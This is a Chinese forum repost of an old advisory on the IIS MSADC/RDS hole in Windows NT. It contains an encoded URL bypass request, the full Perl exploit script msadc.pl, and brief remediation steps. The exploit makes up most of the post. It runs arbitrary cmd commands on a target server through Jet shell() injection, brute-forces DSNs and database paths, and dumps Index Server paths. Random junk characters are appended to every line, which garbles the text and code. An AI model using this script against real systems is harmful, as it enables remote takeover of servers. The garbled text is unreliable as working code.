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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) O4R\] B#Xu  
b#_RZ  
涉及程序: 2ioHhcYdJU  
Microsoft NT server ~>CvZ 7K  
+RooU?Aq  
描述: 7:jLZ!mgi  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 7f>=-sv  
C"I jr=w  
详细: t(z]4y  
如果你没有时间读详细内容的话,就删除: gNCS*a  
c:\Program Files\Common Files\System\Msadc\msadcs.dll =D`8,n [  
有关的安全问题就没有了。 /lBK )(  
~lj[> |\Oj  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 E 2n z  
Q~,Mzt"}W  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 P<PZ4hNx  
关于利用ODBC远程漏洞的描述,请参看: sA2-3V<t8  
p'R<yB)V  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm P 45Irir  
xp^RAVXq`  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 \&Yn)|!  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp F 3|^b{'zO  
4aXIRu%#7  
这里不再论述。 _**Nlp*%  
8 lggGt  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: }S> 4.8  
[Hh-F#|R  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset FIq'W:q:  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! *#=Ijr~  
nR_Z rm  
nfEbu4|  
#将下面这段保存为txt文件,然后: "perl -x 文件名" W==~ 9  
6 s=VU\  
#!perl 9!( 8o  
# n5}]C{s'  
# MSADC/RDS 'usage' (aka exploit) script OC=&!<  
# Bj@>iw?g'  
# by rain.forest.puppy ;R?@ D]  
# 0AB a&'h  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me ofy"SM  
# beta test and find errors! CWdsOS=  
T fLqxioqZ  
use Socket; use Getopt::Std; @DysM~I  
getopts("e:vd:h:XR", \%args); :q9!  
37hdZt.,  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; a-NTA  
}N g P`m  
if (!defined $args{h} && !defined $args{R}) { <M:BN6-yG  
print qq~ 7e"}ojt$  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 94tfR$W;-  
-h <host> = host you want to scan (ip or domain) kdNo<x1o  
-d <seconds> = delay between calls, default 1 second FGV L[\  
-X = dump Index Server path table, if available ^')8-aF .  
-v = verbose rW?WdEg  
-e = external dictionary file for step 5 j9 nw,x$  
[^hW>O=@TN  
Or a -R will resume a command session 2zC4nF)>O  
Ta?J;&<u]/  
~; exit;} m{q'RAw  
&n<YmW?"  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 82LE9<4A  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} noWF0+ %  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} \|HtE(uCM1  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); EX]+e  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} a'VQegP(f\  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } :kgh~mx5LF  
xi (@\A  
if (!defined $args{R}){ $ret = &has_msadc; d( v"{N}  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} a/J<(sak~X  
digc7;8L  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" rq%]CsRY5  
. "cmd /c "; si0}b~t  
$in=<STDIN>; chomp $in; Hv;xaT<}V  
$command="cmd /c " . $in ; o}AXp@cqi  
qDdO-fPev  
if (defined $args{R}) {&load; exit;} F- ,gj{s  
khy'Y&\F;  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 63fYX"  
&try_btcustmr; )@wC6Ij  
e;.,x 5+  
print "\nStep 2: Trying to make our own DSN..."; {5 dVK  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; 't<iB&wgF  
07LyB\l~  
print "\nStep 3: Trying known DSNs..."; ~5HkDtI)  
&known_dsn; Olzw)WjG  
E+L7[  
print "\nStep 4: Trying known .mdbs..."; DGvuo 8  
&known_mdb; 2 }xePX9?  
qk& F>6<9*  
if (defined $args{e}){ u]*7",R uU  
print "\nStep 5: Trying dictionary of DSN names..."; + <bj}"  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } N3G9o`k  
I5"wa:Z  
print "Sorry Charley...maybe next time?\n"; ^+(5[z  
exit; %vmd2}dA  
A?YYR%o%'  
############################################################################## P+CV4;Xz  
rNN>tpZ}  
sub sendraw { # ripped and modded from whisker Jm4uj &}3  
sleep($delay); # it's a DoS on the server! At least on mine... Y '/6T]a  
my ($pstr)=@_; \[G'cE  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || I!/32* s1t  
die("Socket problems\n"); YmljHQP  
if(connect(S,pack "SnA4x8",2,80,$target)){ mb*Yw 6q  
select(S); $|=1; s#$t!F??9  
print $pstr; my @in=<S>; !9d7wPUFr  
select(STDOUT); close(S); +g1>h ,K 3  
return @in; H!;N0",]N  
} else { die("Can't connect...\n"); }} IyO 0~Vx>  
* F!B4go  
############################################################################## hW*o;o7u  
<'\Nv._2a  
sub make_header { # make the HTTP request u&~Xgq5[  
my $msadc=<<EOT 5_9`v@-4_  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 w{tA{{  
User-Agent: ACTIVEDATA X'OpR   
Host: $ip k0Vri$x  
Content-Length: $clen J jAxNviG  
Connection: Keep-Alive A'EI1_3{  
C%4ed#  
ADCClientVersion:01.06 N'b GL%  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 1H-Wk  
MHwfJ{"zo  
--!ADM!ROX!YOUR!WORLD!  2s}S9  
Content-Type: application/x-varg KM&P5}  
Content-Length: $reqlen 8^_:9&)i  
7C|AiSH  
EOT 'o&d!  
; $msadc=~s/\n/\r\n/g; S*l/ Sa@  
return $msadc;} lT[,w9$  
;@; a eu  
############################################################################## ^wy  
jIKg* @  
sub make_req { # make the RDS request n@pwOHQn<|  
my ($switch, $p1, $p2)=@_; ed'[_T}T3t  
my $req=""; my $t1, $t2, $query, $dsn; <)d%c%f'`  
"~Fg-{jM%  
if ($switch==1){ # this is the btcustmr.mdb query INnd TF  
$query="Select * from Customers where City=" . make_shell(); ~(GvjB/C8  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 67EGkW?hbt  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} >nkVZ;tL  
Z}O]pm>=G  
elsif ($switch==2){ # this is general make table query qGX@mo({  
$query="create table AZZ (B int, C varchar(10))"; S257+ K9  
$dsn="$p1";} O>)eir7  
QFnuu-82"  
elsif ($switch==3){ # this is general exploit table query x}2nn)fdZ  
$query="select * from AZZ where C=" . make_shell(); SkDr4kds  
$dsn="$p1";} @!iS`u  
o@A`AA9  
elsif ($switch==4){ # attempt to hork file info from index server M7BpOmK'  
$query="select path from scope()"; P#TPI*qw  
$dsn="Provider=MSIDXS;";} QGNKQ`~  
CVO_F=;  
elsif ($switch==5){ # bad query xa`xHh{0  
$query="select"; ,!> ~izB  
$dsn="$p1";} 4Uny.C]  
Yo%U{/e  
$t1= make_unicode($query); 7~2_'YX>:  
$t2= make_unicode($dsn); th{J;a  
$req = "\x02\x00\x03\x00"; S$b)X"h  
$req.= "\x08\x00" . pack ("S1", length($t1)); 8*-)[+s9il  
$req.= "\x00\x00" . $t1 ; ,Ee5}#dI  
$req.= "\x08\x00" . pack ("S1", length($t2)); hP:>!KJ  
$req.= "\x00\x00" . $t2 ; u-~ec{oBu  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; DVd8Ix<  
return $req;} 1XiA  
6vNW)1{nn  
############################################################################## (H:c8 0/V  
8i;1JA  
sub make_shell { # this makes the shell() statement &l cfX\y  
return "'|shell(\"$command\")|'";} ^mC~<p P(  
:uYZ1O  
############################################################################## .5 E)dU  
i?^L",[  
sub make_unicode { # quick little function to convert to unicode 2wpJ)t*PF  
my ($in)=@_; my $out; 1tbA-+  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } ]O;*Y{:Y  
return $out;} Wl3S]4A  
FKL4`GEm  
############################################################################## /US%s  
EI=~*&t  
sub rdo_success { # checks for RDO return success (this is kludge) ";U~wZW_  
my (@in) = @_; my $base=content_start(@in); `GE8?UO-  
if($in[$base]=~/multipart\/mixed/){ [w}-)&c  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} ,|c;x1|O  
return 0;} _HM?p(H@  
|}{gE=]  
############################################################################## `N[@lV\xp!  
=.s0"[%   
sub make_dsn { # this makes a DSN for us 4lPO*:/  
my @drives=("c","d","e","f"); ln_&Ux+l  
print "\nMaking DSN: "; QP~["%}T  
foreach $drive (@drives) { :G6CWE  
print "$drive: "; E$lbm>jsb$  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . =b66H]h?  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" l4DBGZB  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); q=^;lWs4  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; glC,E>  
return 0 if $2 eq "404"; # not found/doesn't exist (?A c`H  
if($2 eq "200") { <5L99<E  
foreach $line (@results) { 4evN^es'I_  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} _L=-z*a\  
} return 0;} l!gX-U%-  
`Fcr`[  
############################################################################## "(jD*\8x  
bB0/FiY7o  
sub verify_exists { \i?bt0bM  
my ($page)=@_; 2RZa}  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 6,4vs+(|\  
return $results[0];} Lvt3S .l  
nHF66,7t  
############################################################################## Gt{%O>P8t  
5~pxu  
sub try_btcustmr { -pJ\_u/&%`  
my @drives=("c","d","e","f"); TgJ+:^+0  
my @dirs=("winnt","winnt35","winnt351","win","windows"); , $!F,c  
N?c~AEk9U  
foreach $dir (@dirs) { }bi hlyB&Q  
print "$dir -> "; # fun status so you can see progress st??CX2  
foreach $drive (@drives) { 'WHI.*=  
print "$drive: "; # ditto 8nZ_.  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; nt"\FZ*;3  
$reqlenlen=length( "$reqlen" ); "~ =O`5V  
$clen= 206 + $reqlenlen + $reqlen; !hJ!ck]M  
6 JI8l`S  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); ;a|%W4"  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} @D[+@N  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} K!AA4!eUzM  
h}|.#!C3  
############################################################################## uj)vh  
BZv:E?1z  
sub odbc_error { u~,hT Y(%  
my (@in)=@_; my $base; zvGncjMkC  
my $base = content_start(@in); #e=E  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this p+ReQ.5|  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 5(2 C  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Tcv/EST  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; <FR!x#!   
return $in[$base+4].$in[$base+5].$in[$base+6];} qYoU\y7  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 7*K2zu3  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . ,2U  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} / \qzTo  
.Erv\lv*  
############################################################################## l ?b*T#uIk  
'_Q';T_n99  
sub verbose { )Ko~6.:5H  
my ($in)=@_; 8 # BR\  
return if !$verbose; D?dS/agA  
print STDOUT "\n$in\n";} Lo}T%0"G  
mb`h  
############################################################################## "*HEXru#B  
^:$ShbX"P  
sub save { R'1j  
my ($p1, $p2, $p3, $p4)=@_; IRR b^Q6  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; E3{kH 7_'\  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; Vug[q=i  
close OUT;} Hi2JG{i  
@/N]_2@8;  
############################################################################## 14l6|a  
mz x$(u  
sub load { #lik: ?  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; t%,:L.?J#  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); p<pGqW  
@p=<IN>; close(IN); bz 7?F!  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); OZz/ip-!lc  
$target= inet_aton($ip) || die("inet_aton problems"); ;y7+Q  
print "Resuming to $ip ..."; J@i9)D_  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; "PS ) "t  
if($p[1]==1) { Ik, N/[  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; 9W-" mD;  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; jT]R"U/Q  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); =oq=``%  
if (rdo_success(@results)){print "Success!\n";} `c ^ ">L  
else { print "failed\n"; verbose(odbc_error(@results));}} EqBTN07dZS  
elsif ($p[1]==3){ "5ISKuL  
if(run_query("$p[3]")){ uwi.Sg11  
print "Success!\n";} else { print "failed\n"; }} ?Vh#Gr  
elsif ($p[1]==4){ E:uTjXt  
if(run_query($drvst . "$p[3]")){ ,jW a&7  
print "Success!\n"; } else { print "failed\n"; }} c M<08-:v  
exit;} N_FjEZpX  
M<= e~';H  
############################################################################## f`rI]v|@  
xFIzq  
sub create_table { 6~>h;wC  
my ($in)=@_; '"c`[L7Wn  
$reqlen=length( make_req(2,$in,"") ) - 28; tCRsaDK>  
$reqlenlen=length( "$reqlen" ); aMT=pGU  
$clen= 206 + $reqlenlen + $reqlen; BaUuDo/ZO  
my @results=sendraw(make_header() . make_req(2,$in,"")); F.@|-wq&  
return 1 if rdo_success(@results); a-nn[ j  
my $temp= odbc_error(@results); verbose($temp); 3A =\Mb  
return 1 if $temp=~/Table 'AZZ' already exists/; '~7zeZ'  
return 0;} j4`+RS+q  
eHIcfp@&  
############################################################################## \J#&]o)Y  
)lz)h*%#  
sub known_dsn { L&=r-\.ev  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go |+[Y_j  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", b>#=7;  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 7hLh}  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); E{^W-  
a3A3mBw  
foreach $dSn (@dsns) { 4hfq7kq7(  
print "."; O~?d;.b  
next if (!is_access("DSN=$dSn")); %h,&ND  
if(create_table("DSN=$dSn")){ (F3R!n  
print "$dSn successful\n"; CGb4C(%-7  
if(run_query("DSN=$dSn")){ c/j+aj0.v  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Eg}U.ss^  
print "Something's borked. Use verbose next time\n";}}} print "\n";} SjF(;0k C  
}7xcHVO8-  
############################################################################## <dVJV?i;  
Wl+spWqW  
sub is_access { W1LR ,:$  
my ($in)=@_; 5G`fVsb  
$reqlen=length( make_req(5,$in,"") ) - 28; R>5Xv%R  
$reqlenlen=length( "$reqlen" ); sX}#L  
$clen= 206 + $reqlenlen + $reqlen; gLFTnMO  
my @results=sendraw(make_header() . make_req(5,$in,"")); JvP>[vb  
my $temp= odbc_error(@results); <R~;|&o,$  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); #, 1)@[  
return 0;} <u],R.S)  
Bva2f:)K|  
############################################################################## ox\D04:M  
R >&8%%#  
sub run_query { \L}7.fkb8  
my ($in)=@_; y!rJ}e  
$reqlen=length( make_req(3,$in,"") ) - 28; darbL_1  
$reqlenlen=length( "$reqlen" ); 5}! 36SO\  
$clen= 206 + $reqlenlen + $reqlen; 5'V-Ly)*%  
my @results=sendraw(make_header() . make_req(3,$in,"")); \Mdi eO*  
return 1 if rdo_success(@results); <Ter\o5%  
my $temp= odbc_error(@results); verbose($temp); ][#|5UK8L  
return 0;} 9:=:P>  
3^$=XrD  
############################################################################## Bc-/s(/Eq  
$b7@S`5  
sub known_mdb { })?-)fFD  
my @drives=("c","d","e","f","g"); f#7=N{wm  
my @dirs=("winnt","winnt35","winnt351","win","windows"); S,avvY.U\  
my $dir, $drive, $mdb; GDiyFTr  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; q"S,<I<f  
lF40n4}  
# this is sparse, because I don't know of many 9`"#OQPn1  
my @sysmdbs=( "\\catroot\\icatalog.mdb", F ~7TE91C  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", W:9l"'  
"\\system32\\certmdb.mdb", AGO"),  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% V,8Z!.MG  
BJ'pe[Xa5  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", F!4V!VWA}  
"\\cfusion\\cfapps\\forums\\forums_.mdb", (#)XRm{t  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", N>Uxq& )!  
"\\cfusion\\cfapps\\security\\realm_.mdb", 0V^I.S/q  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", tTub W=H  
"\\cfusion\\database\\cfexamples.mdb", 2|WM?V&  
"\\cfusion\\database\\cfsnippets.mdb", fU$_5v4  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", G+k wG)K  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", >LH}A6dUC  
"\\cfusion\\brighttiger\\database\\cleam.mdb", &RI;!qn6(  
"\\cfusion\\database\\smpolicy.mdb", R9"}-A  
"\\cfusion\\database\cypress.mdb", ]$s b<o .a  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", rKT.~ZP\  
"\\website\\cgi-win\\dbsample.mdb", J6>tGKa+e  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", _%\%  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" 6-g>(g   
); #these are just T{-gbo`Yji  
foreach $drive (@drives) { .=d40m  
foreach $dir (@dirs){ !#*#jixo  
foreach $mdb (@sysmdbs) { BpX`49  
print "."; $ e,r>tgD  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ j+q)  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; cD)9EFo  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ H5 :,hrZY  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; AGjjhbGB  
} else { print "Something's borked. Use verbose next time\n"; }}}}} >ZeARCf"f  
TXf60{:f  
foreach $drive (@drives) { Z5*(xony0  
foreach $mdb (@mdbs) { N[fwd=$\#  
print "."; xirq$sEl  
if(create_table($drv . $drive . $dir . $mdb)){ L<B)BEE.  
print "\n" . $drive . $dir . $mdb . " successful\n"; ^Pu:&:ki  
if(run_query($drv . $drive . $dir . $mdb)){ W2zG"Q  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; ,`k6 @4  
} else { print "Something's borked. Use verbose next time\n"; }}}} /(u? k%Q  
} VZ">vIRyi|  
'iOa j0f  
############################################################################## n\<7`,  
,S<) )  
sub hork_idx { s16, *;Z  
print "\nAttempting to dump Index Server tables...\n"; >ke.ZZV?  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 5ug|crX  
$reqlen=length( make_req(4,"","") ) - 28; ;volBfv  
$reqlenlen=length( "$reqlen" ); }; M@JMu,  
$clen= 206 + $reqlenlen + $reqlen; :=5X)10  
my @results=sendraw2(make_header() . make_req(4,"","")); _' X  
if (rdo_success(@results)){ 261? 8&c  
my $max=@results; my $c; my %d; Oo FMOlb.Z  
for($c=19; $c<$max; $c++){ T}29(xz-(h  
$results[$c]=~s/\x00//g; XZ3fWcw[  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; 6%:~.ZfN  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; bhbTloCR  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; ])%UZM6  
$d{"$1$2"}="";} N`3^:EJL8  
foreach $c (keys %d){ print "$c\n"; } mO(Y>|mm  
} else {print "Index server doesn't seem to be installed.\n"; }} so/0f1R?~  
G -K{  
############################################################################## =n_z`I  
4`fV_H.8  
sub dsn_dict { k'PvQl"I  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); a^E>LJL  
while(<IN>){ Sl'$w4s   
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ~-uf%=  
next if (!is_access("DSN=$dSn")); ^6F, lS_t  
if(create_table("DSN=$dSn")){ z 0zB&}  
print "$dSn successful\n"; )PYh./_2  
if(run_query("DSN=$dSn")){ %|^,Q -i,  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ?9!9lSH6%  
print "Something's borked. Use verbose next time\n";}}} H+]h+K9\7  
print "\n"; close(IN);} fo`R=|L[  
, /jHhKW  
############################################################################## 5JK'2J&  
%g89eaEZ  
sub sendraw2 { # ripped and modded from whisker B!8X?8D  
sleep($delay); # it's a DoS on the server! At least on mine... 8faT@J'e;  
my ($pstr)=@_; {D :WXvI  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || !<VP[%2L~  
die("Socket problems\n"); 2Ub-ufkU  
if(connect(S,pack "SnA4x8",2,80,$target)){ Li0+%ijM  
print "Connected. Getting data"; i gjn9p&_  
open(OUT,">raw.out"); my @in; 5K682+^5  
select(S); $|=1; print $pstr; @]8flb )T  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} BA@M>j6d  
close(OUT); select(STDOUT); close(S); return @in; 7ncR2-{g  
} else { die("Can't connect...\n"); }} ~Cw7.NA{3  
Kng=v~)N'  
############################################################################## o"z;k3(i$7  
S')DAx  
sub content_start { # this will take in the server headers Z]bG"K3l  
my (@in)=@_; my $c; v.vkQQ0[9  
for ($c=1;$c<500;$c++) { PYs0w6o  
if($in[$c] =~/^\x0d\x0a/){ T5e#Ll/  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 3O1Lv2)_  
else { return $c+1; }}} 4g}r+!T  
return -1;} # it should never get here actually NZADHO@0  
v@8SMOe %  
############################################################################## P$N5j~*  
{D(l#;,iX2  
sub funky { @JLN3  
my (@in)=@_; my $error=odbc_error(@in); -%P}LaC <  
if($error=~/ADO could not find the specified provider/){ .d$Q5Qae  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; \Ucv<S  
exit;} BhbfPQ  
if($error=~/A Handler is required/){ !wfUD2 K1  
print "\nServer has custom handler filters (they most likely are patched)\n"; +~o f#  
exit;} nnE'zk<"  
if($error=~/specified Handler has denied Access/){ p[At0Gc L  
print "\nServer has custom handler filters (they most likely are patched)\n"; p1i}fGS  
exit;}} c9Cc%EK  
YO?o$Hv16  
############################################################################## $]}K;  
,O-_Pv  
sub has_msadc { G,^ ?qbHg  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); 8\:>;XG6f  
my $base=content_start(@results); 0+SZ-]  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); Z1+Ewq3m  
return 0;} a_{'I6a*,  
S%Ky+0  
######################## S Te8*=w  
77aUuP7Iw  
be]/ROP>H  
解决方案: @(E6P;+{  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll _LfbEv<,T  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 5[)#3vY  
P0OMu/  
拿出来充数 哈哈
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